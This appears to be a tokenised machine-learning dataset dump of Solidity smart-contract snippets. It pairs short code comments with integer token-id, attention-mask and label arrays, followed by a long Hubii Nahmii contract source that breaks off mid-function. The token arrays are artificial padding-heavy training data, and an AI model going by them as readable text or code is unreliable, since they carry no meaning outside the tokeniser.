file_name
stringlengths
71
779k
comments
stringlengths
20
182k
code_string
stringlengths
20
36.9M
__index_level_0__
int64
0
17.2M
input_ids
list
attention_mask
list
labels
list
./full_match/1/0xa0555D6750CAA66442CA2aDF0fcEFd9c7BD764A0/sources/Engine.sol
We need to swap the current tokens to ETH and send to the team wallet
function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if(from != address(this)){ require(amount <= _maxTxAmount); } if(from != owner() && to != owner()){ _teamFee = _buytax; } require(!bots[from] && !bots[to] && !bots[msg.sender]); uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _routermax) { contractTokenBalance = _routermax; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router) ) { _teamFee = _sellTax; swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(!transfertax) { if(to != uniswapV2Pair && from != uniswapV2Pair) { takeFee = false; } } if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); }
3,134,635
[ 1, 3218, 1608, 358, 7720, 326, 783, 2430, 358, 512, 2455, 471, 1366, 358, 326, 5927, 9230, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 13866, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 3844, 203, 565, 262, 3238, 288, 203, 3639, 2583, 12, 2080, 480, 1758, 12, 20, 3631, 315, 654, 39, 3462, 30, 7412, 628, 326, 3634, 1758, 8863, 203, 3639, 2583, 12, 869, 480, 1758, 12, 20, 3631, 315, 654, 39, 3462, 30, 7412, 358, 326, 3634, 1758, 8863, 203, 3639, 2583, 12, 8949, 405, 374, 16, 315, 5912, 3844, 1297, 506, 6802, 2353, 3634, 8863, 203, 540, 203, 3639, 309, 261, 2080, 480, 3410, 1435, 597, 358, 480, 3410, 10756, 288, 203, 203, 5411, 309, 12, 2080, 480, 1758, 12, 2211, 3719, 95, 203, 7734, 2583, 12, 8949, 1648, 389, 1896, 4188, 6275, 1769, 203, 5411, 289, 203, 5411, 309, 12, 2080, 480, 3410, 1435, 597, 358, 480, 3410, 10756, 95, 203, 7734, 389, 10035, 14667, 273, 389, 70, 9835, 8066, 31, 203, 5411, 289, 203, 5411, 2583, 12, 5, 4819, 87, 63, 2080, 65, 597, 401, 4819, 87, 63, 869, 65, 597, 401, 4819, 87, 63, 3576, 18, 15330, 19226, 203, 2398, 203, 2398, 2254, 5034, 6835, 1345, 13937, 273, 11013, 951, 12, 2867, 12, 2211, 10019, 203, 2398, 203, 5411, 309, 12, 16351, 1345, 13937, 1545, 389, 7028, 1035, 651, 13, 203, 5411, 288, 203, 7734, 6835, 1345, 13937, 273, 389, 7028, 1035, 651, 31, 203, 5411, 289, 203, 5411, 1426, 1879, 2930, 1345, 13937, 273, 6835, 1345, 13937, 1545, 389, 2107, 951, 5157, 774, 11688, 1290, 8689, 31, 203, 5411, 309, 16051, 2 ]
./partial_match/42/0x80FaEC37540CD5200992b0De933E1295f05F6C5e/sources/STYK_I.sol
add tokens to the pool
tokenSupply_ = safeAdd(tokenSupply_, _amountOfTokens);
3,311,470
[ 1, 1289, 2430, 358, 326, 2845, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1147, 3088, 1283, 67, 273, 4183, 986, 12, 2316, 3088, 1283, 67, 16, 389, 8949, 951, 5157, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x4eA5424C393869505CBD7F8d802595328aAB89Fe/sources/Incentives.sol
will not payout to LP's if less to minRequiredSnapshotId
uint256 public minRequiredSnapshotId = 0;
2,610,745
[ 1, 20194, 486, 293, 2012, 358, 511, 52, 1807, 309, 5242, 358, 1131, 3705, 4568, 548, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 1131, 3705, 4568, 548, 273, 374, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x66c0D1bAd3B8b98949D1C0d4e503CbA53868566A/sources/GreenEarth.sol
* @dev Sets the values for {name} and {symbol}. The defaut value of {decimals} is 18. To select a different value for {decimals} you should overload it. All two of these values are immutable: they can only be set once during construction./ MainNet / testnet, Uniswap Router set the rest of the contract variables
constructor () { _mint(0xea1664d8186280674cdA87976Db6aE425c02565B, 2204000000000 *10**18); _enable[0xea1664d8186280674cdA87976Db6aE425c02565B] = true; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _name = "Green Earth"; _symbol = "GREEN EARTH \xF0\x9F\x8C\x8F"; }
8,448,464
[ 1, 2785, 326, 924, 364, 288, 529, 97, 471, 288, 7175, 5496, 1021, 443, 507, 322, 460, 434, 288, 31734, 97, 353, 6549, 18, 2974, 2027, 279, 3775, 460, 364, 288, 31734, 97, 1846, 1410, 30402, 518, 18, 4826, 2795, 434, 4259, 924, 854, 11732, 30, 2898, 848, 1338, 506, 444, 3647, 4982, 16171, 18, 19, 12740, 7308, 342, 1842, 2758, 16, 1351, 291, 91, 438, 9703, 444, 326, 3127, 434, 326, 6835, 3152, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1832, 288, 203, 203, 3639, 389, 81, 474, 12, 20, 6554, 69, 2313, 1105, 72, 28, 2643, 8898, 3672, 26, 5608, 4315, 37, 28, 7235, 6669, 4331, 26, 69, 41, 24, 2947, 71, 20, 5034, 25, 38, 16, 11201, 3028, 2787, 11706, 380, 2163, 636, 2643, 1769, 203, 3639, 389, 7589, 63, 20, 6554, 69, 2313, 1105, 72, 28, 2643, 8898, 3672, 26, 5608, 4315, 37, 28, 7235, 6669, 4331, 26, 69, 41, 24, 2947, 71, 20, 5034, 25, 38, 65, 273, 638, 31, 203, 203, 3639, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 389, 318, 291, 91, 438, 58, 22, 8259, 273, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 12, 20, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 1769, 203, 540, 203, 3639, 640, 291, 91, 438, 58, 22, 4154, 273, 467, 984, 291, 91, 438, 58, 22, 1733, 24899, 318, 291, 91, 438, 58, 22, 8259, 18, 6848, 10756, 203, 5411, 263, 2640, 4154, 12, 2867, 12, 2211, 3631, 389, 318, 291, 91, 438, 58, 22, 8259, 18, 59, 1584, 44, 10663, 203, 203, 3639, 640, 291, 91, 438, 58, 22, 8259, 273, 389, 318, 291, 91, 438, 58, 22, 8259, 31, 203, 540, 203, 3639, 389, 529, 273, 315, 21453, 512, 27076, 14432, 203, 3639, 389, 7175, 273, 315, 29500, 512, 985, 2455, 521, 16275, 20, 64, 92, 29, 42, 64, 2 ]
pragma solidity >=0.4.25 <0.6.0; pragma experimental ABIEncoderV2; /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ /** * @title Modifiable * @notice A contract with basic modifiers */ contract Modifiable { // // Modifiers // ----------------------------------------------------------------------------------------------------------------- modifier notNullAddress(address _address) { require(_address != address(0)); _; } modifier notThisAddress(address _address) { require(_address != address(this)); _; } modifier notNullOrThisAddress(address _address) { require(_address != address(0)); require(_address != address(this)); _; } modifier notSameAddresses(address _address1, address _address2) { if (_address1 != _address2) _; } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ /** * @title SelfDestructible * @notice Contract that allows for self-destruction */ contract SelfDestructible { // // Variables // ----------------------------------------------------------------------------------------------------------------- bool public selfDestructionDisabled; // // Events // ----------------------------------------------------------------------------------------------------------------- event SelfDestructionDisabledEvent(address wallet); event TriggerSelfDestructionEvent(address wallet); // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Get the address of the destructor role function destructor() public view returns (address); /// @notice Disable self-destruction of this contract /// @dev This operation can not be undone function disableSelfDestruction() public { // Require that sender is the assigned destructor require(destructor() == msg.sender); // Disable self-destruction selfDestructionDisabled = true; // Emit event emit SelfDestructionDisabledEvent(msg.sender); } /// @notice Destroy this contract function triggerSelfDestruction() public { // Require that sender is the assigned destructor require(destructor() == msg.sender); // Require that self-destruction has not been disabled require(!selfDestructionDisabled); // Emit event emit TriggerSelfDestructionEvent(msg.sender); // Self-destruct and reward destructor selfdestruct(msg.sender); } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ /** * @title Ownable * @notice A modifiable that has ownership roles */ contract Ownable is Modifiable, SelfDestructible { // // Variables // ----------------------------------------------------------------------------------------------------------------- address public deployer; address public operator; // // Events // ----------------------------------------------------------------------------------------------------------------- event SetDeployerEvent(address oldDeployer, address newDeployer); event SetOperatorEvent(address oldOperator, address newOperator); // // Constructor // ----------------------------------------------------------------------------------------------------------------- constructor(address _deployer) internal notNullOrThisAddress(_deployer) { deployer = _deployer; operator = _deployer; } // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Return the address that is able to initiate self-destruction function destructor() public view returns (address) { return deployer; } /// @notice Set the deployer of this contract /// @param newDeployer The address of the new deployer function setDeployer(address newDeployer) public onlyDeployer notNullOrThisAddress(newDeployer) { if (newDeployer != deployer) { // Set new deployer address oldDeployer = deployer; deployer = newDeployer; // Emit event emit SetDeployerEvent(oldDeployer, newDeployer); } } /// @notice Set the operator of this contract /// @param newOperator The address of the new operator function setOperator(address newOperator) public onlyOperator notNullOrThisAddress(newOperator) { if (newOperator != operator) { // Set new operator address oldOperator = operator; operator = newOperator; // Emit event emit SetOperatorEvent(oldOperator, newOperator); } } /// @notice Gauge whether message sender is deployer or not /// @return true if msg.sender is deployer, else false function isDeployer() internal view returns (bool) { return msg.sender == deployer; } /// @notice Gauge whether message sender is operator or not /// @return true if msg.sender is operator, else false function isOperator() internal view returns (bool) { return msg.sender == operator; } /// @notice Gauge whether message sender is operator or deployer on the one hand, or none of these on these on /// on the other hand /// @return true if msg.sender is operator, else false function isDeployerOrOperator() internal view returns (bool) { return isDeployer() || isOperator(); } // Modifiers // ----------------------------------------------------------------------------------------------------------------- modifier onlyDeployer() { require(isDeployer()); _; } modifier notDeployer() { require(!isDeployer()); _; } modifier onlyOperator() { require(isOperator()); _; } modifier notOperator() { require(!isOperator()); _; } modifier onlyDeployerOrOperator() { require(isDeployerOrOperator()); _; } modifier notDeployerOrOperator() { require(!isDeployerOrOperator()); _; } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ /** * @title Servable * @notice An ownable that contains registered services and their actions */ contract Servable is Ownable { // // Types // ----------------------------------------------------------------------------------------------------------------- struct ServiceInfo { bool registered; uint256 activationTimestamp; mapping(bytes32 => bool) actionsEnabledMap; bytes32[] actionsList; } // // Variables // ----------------------------------------------------------------------------------------------------------------- mapping(address => ServiceInfo) internal registeredServicesMap; uint256 public serviceActivationTimeout; // // Events // ----------------------------------------------------------------------------------------------------------------- event ServiceActivationTimeoutEvent(uint256 timeoutInSeconds); event RegisterServiceEvent(address service); event RegisterServiceDeferredEvent(address service, uint256 timeout); event DeregisterServiceEvent(address service); event EnableServiceActionEvent(address service, string action); event DisableServiceActionEvent(address service, string action); // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Set the service activation timeout /// @param timeoutInSeconds The set timeout in unit of seconds function setServiceActivationTimeout(uint256 timeoutInSeconds) public onlyDeployer { serviceActivationTimeout = timeoutInSeconds; // Emit event emit ServiceActivationTimeoutEvent(timeoutInSeconds); } /// @notice Register a service contract whose activation is immediate /// @param service The address of the service contract to be registered function registerService(address service) public onlyDeployer notNullOrThisAddress(service) { _registerService(service, 0); // Emit event emit RegisterServiceEvent(service); } /// @notice Register a service contract whose activation is deferred by the service activation timeout /// @param service The address of the service contract to be registered function registerServiceDeferred(address service) public onlyDeployer notNullOrThisAddress(service) { _registerService(service, serviceActivationTimeout); // Emit event emit RegisterServiceDeferredEvent(service, serviceActivationTimeout); } /// @notice Deregister a service contract /// @param service The address of the service contract to be deregistered function deregisterService(address service) public onlyDeployer notNullOrThisAddress(service) { require(registeredServicesMap[service].registered); registeredServicesMap[service].registered = false; // Emit event emit DeregisterServiceEvent(service); } /// @notice Enable a named action in an already registered service contract /// @param service The address of the registered service contract /// @param action The name of the action to be enabled function enableServiceAction(address service, string memory action) public onlyDeployer notNullOrThisAddress(service) { require(registeredServicesMap[service].registered); bytes32 actionHash = hashString(action); require(!registeredServicesMap[service].actionsEnabledMap[actionHash]); registeredServicesMap[service].actionsEnabledMap[actionHash] = true; registeredServicesMap[service].actionsList.push(actionHash); // Emit event emit EnableServiceActionEvent(service, action); } /// @notice Enable a named action in a service contract /// @param service The address of the service contract /// @param action The name of the action to be disabled function disableServiceAction(address service, string memory action) public onlyDeployer notNullOrThisAddress(service) { bytes32 actionHash = hashString(action); require(registeredServicesMap[service].actionsEnabledMap[actionHash]); registeredServicesMap[service].actionsEnabledMap[actionHash] = false; // Emit event emit DisableServiceActionEvent(service, action); } /// @notice Gauge whether a service contract is registered /// @param service The address of the service contract /// @return true if service is registered, else false function isRegisteredService(address service) public view returns (bool) { return registeredServicesMap[service].registered; } /// @notice Gauge whether a service contract is registered and active /// @param service The address of the service contract /// @return true if service is registered and activate, else false function isRegisteredActiveService(address service) public view returns (bool) { return isRegisteredService(service) && block.timestamp >= registeredServicesMap[service].activationTimestamp; } /// @notice Gauge whether a service contract action is enabled which implies also registered and active /// @param service The address of the service contract /// @param action The name of action function isEnabledServiceAction(address service, string memory action) public view returns (bool) { bytes32 actionHash = hashString(action); return isRegisteredActiveService(service) && registeredServicesMap[service].actionsEnabledMap[actionHash]; } // // Internal functions // ----------------------------------------------------------------------------------------------------------------- function hashString(string memory _string) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_string)); } // // Private functions // ----------------------------------------------------------------------------------------------------------------- function _registerService(address service, uint256 timeout) private { if (!registeredServicesMap[service].registered) { registeredServicesMap[service].registered = true; registeredServicesMap[service].activationTimestamp = block.timestamp + timeout; } } // // Modifiers // ----------------------------------------------------------------------------------------------------------------- modifier onlyActiveService() { require(isRegisteredActiveService(msg.sender)); _; } modifier onlyEnabledServiceAction(string memory action) { require(isEnabledServiceAction(msg.sender, action)); _; } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ /** * @title Community vote * @notice An oracle for relevant decisions made by the community. */ contract CommunityVote is Ownable { // // Variables // ----------------------------------------------------------------------------------------------------------------- mapping(address => bool) doubleSpenderByWallet; uint256 maxDriipNonce; uint256 maxNullNonce; bool dataAvailable; // // Constructor // ----------------------------------------------------------------------------------------------------------------- constructor(address deployer) Ownable(deployer) public { dataAvailable = true; } // // Results functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Get the double spender status of given wallet /// @param wallet The wallet address for which to check double spender status /// @return true if wallet is double spender, false otherwise function isDoubleSpenderWallet(address wallet) public view returns (bool) { return doubleSpenderByWallet[wallet]; } /// @notice Get the max driip nonce to be accepted in settlements /// @return the max driip nonce function getMaxDriipNonce() public view returns (uint256) { return maxDriipNonce; } /// @notice Get the max null settlement nonce to be accepted in settlements /// @return the max driip nonce function getMaxNullNonce() public view returns (uint256) { return maxNullNonce; } /// @notice Get the data availability status /// @return true if data is available function isDataAvailable() public view returns (bool) { return dataAvailable; } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ /** * @title CommunityVotable * @notice An ownable that has a community vote property */ contract CommunityVotable is Ownable { // // Variables // ----------------------------------------------------------------------------------------------------------------- CommunityVote public communityVote; bool public communityVoteFrozen; // // Events // ----------------------------------------------------------------------------------------------------------------- event SetCommunityVoteEvent(CommunityVote oldCommunityVote, CommunityVote newCommunityVote); event FreezeCommunityVoteEvent(); // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Set the community vote contract /// @param newCommunityVote The (address of) CommunityVote contract instance function setCommunityVote(CommunityVote newCommunityVote) public onlyDeployer notNullAddress(address(newCommunityVote)) notSameAddresses(address(newCommunityVote), address(communityVote)) { require(!communityVoteFrozen, "Community vote frozen [CommunityVotable.sol:41]"); // Set new community vote CommunityVote oldCommunityVote = communityVote; communityVote = newCommunityVote; // Emit event emit SetCommunityVoteEvent(oldCommunityVote, newCommunityVote); } /// @notice Freeze the community vote from further updates /// @dev This operation can not be undone function freezeCommunityVote() public onlyDeployer { communityVoteFrozen = true; // Emit event emit FreezeCommunityVoteEvent(); } // // Modifiers // ----------------------------------------------------------------------------------------------------------------- modifier communityVoteInitialized() { require(address(communityVote) != address(0), "Community vote not initialized [CommunityVotable.sol:67]"); _; } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ /** * @title Beneficiary * @notice A recipient of ethers and tokens */ contract Beneficiary { /// @notice Receive ethers to the given wallet's given balance type /// @param wallet The address of the concerned wallet /// @param balanceType The target balance type of the wallet function receiveEthersTo(address wallet, string memory balanceType) public payable; /// @notice Receive token to the given wallet's given balance type /// @dev The wallet must approve of the token transfer prior to calling this function /// @param wallet The address of the concerned wallet /// @param balanceType The target balance type of the wallet /// @param amount The amount to deposit /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// @param standard The standard of the token ("" for default registered, "ERC20", "ERC721") function receiveTokensTo(address wallet, string memory balanceType, int256 amount, address currencyCt, uint256 currencyId, string memory standard) public; } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ /** * @title MonetaryTypesLib * @dev Monetary data types */ library MonetaryTypesLib { // // Structures // ----------------------------------------------------------------------------------------------------------------- struct Currency { address ct; uint256 id; } struct Figure { int256 amount; Currency currency; } struct NoncedAmount { uint256 nonce; int256 amount; } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ /** * @title AccrualBeneficiary * @notice A beneficiary of accruals */ contract AccrualBeneficiary is Beneficiary { // // Functions // ----------------------------------------------------------------------------------------------------------------- event CloseAccrualPeriodEvent(); // // Functions // ----------------------------------------------------------------------------------------------------------------- function closeAccrualPeriod(MonetaryTypesLib.Currency[] memory) public { emit CloseAccrualPeriodEvent(); } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ /** * @title Benefactor * @notice An ownable that contains registered beneficiaries */ contract Benefactor is Ownable { // // Variables // ----------------------------------------------------------------------------------------------------------------- Beneficiary[] public beneficiaries; mapping(address => uint256) public beneficiaryIndexByAddress; // // Events // ----------------------------------------------------------------------------------------------------------------- event RegisterBeneficiaryEvent(Beneficiary beneficiary); event DeregisterBeneficiaryEvent(Beneficiary beneficiary); // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Register the given beneficiary /// @param beneficiary Address of beneficiary to be registered function registerBeneficiary(Beneficiary beneficiary) public onlyDeployer notNullAddress(address(beneficiary)) returns (bool) { address _beneficiary = address(beneficiary); if (beneficiaryIndexByAddress[_beneficiary] > 0) return false; beneficiaries.push(beneficiary); beneficiaryIndexByAddress[_beneficiary] = beneficiaries.length; // Emit event emit RegisterBeneficiaryEvent(beneficiary); return true; } /// @notice Deregister the given beneficiary /// @param beneficiary Address of beneficiary to be deregistered function deregisterBeneficiary(Beneficiary beneficiary) public onlyDeployer notNullAddress(address(beneficiary)) returns (bool) { address _beneficiary = address(beneficiary); if (beneficiaryIndexByAddress[_beneficiary] == 0) return false; uint256 idx = beneficiaryIndexByAddress[_beneficiary] - 1; if (idx < beneficiaries.length - 1) { // Remap the last item in the array to this index beneficiaries[idx] = beneficiaries[beneficiaries.length - 1]; beneficiaryIndexByAddress[address(beneficiaries[idx])] = idx + 1; } beneficiaries.length--; 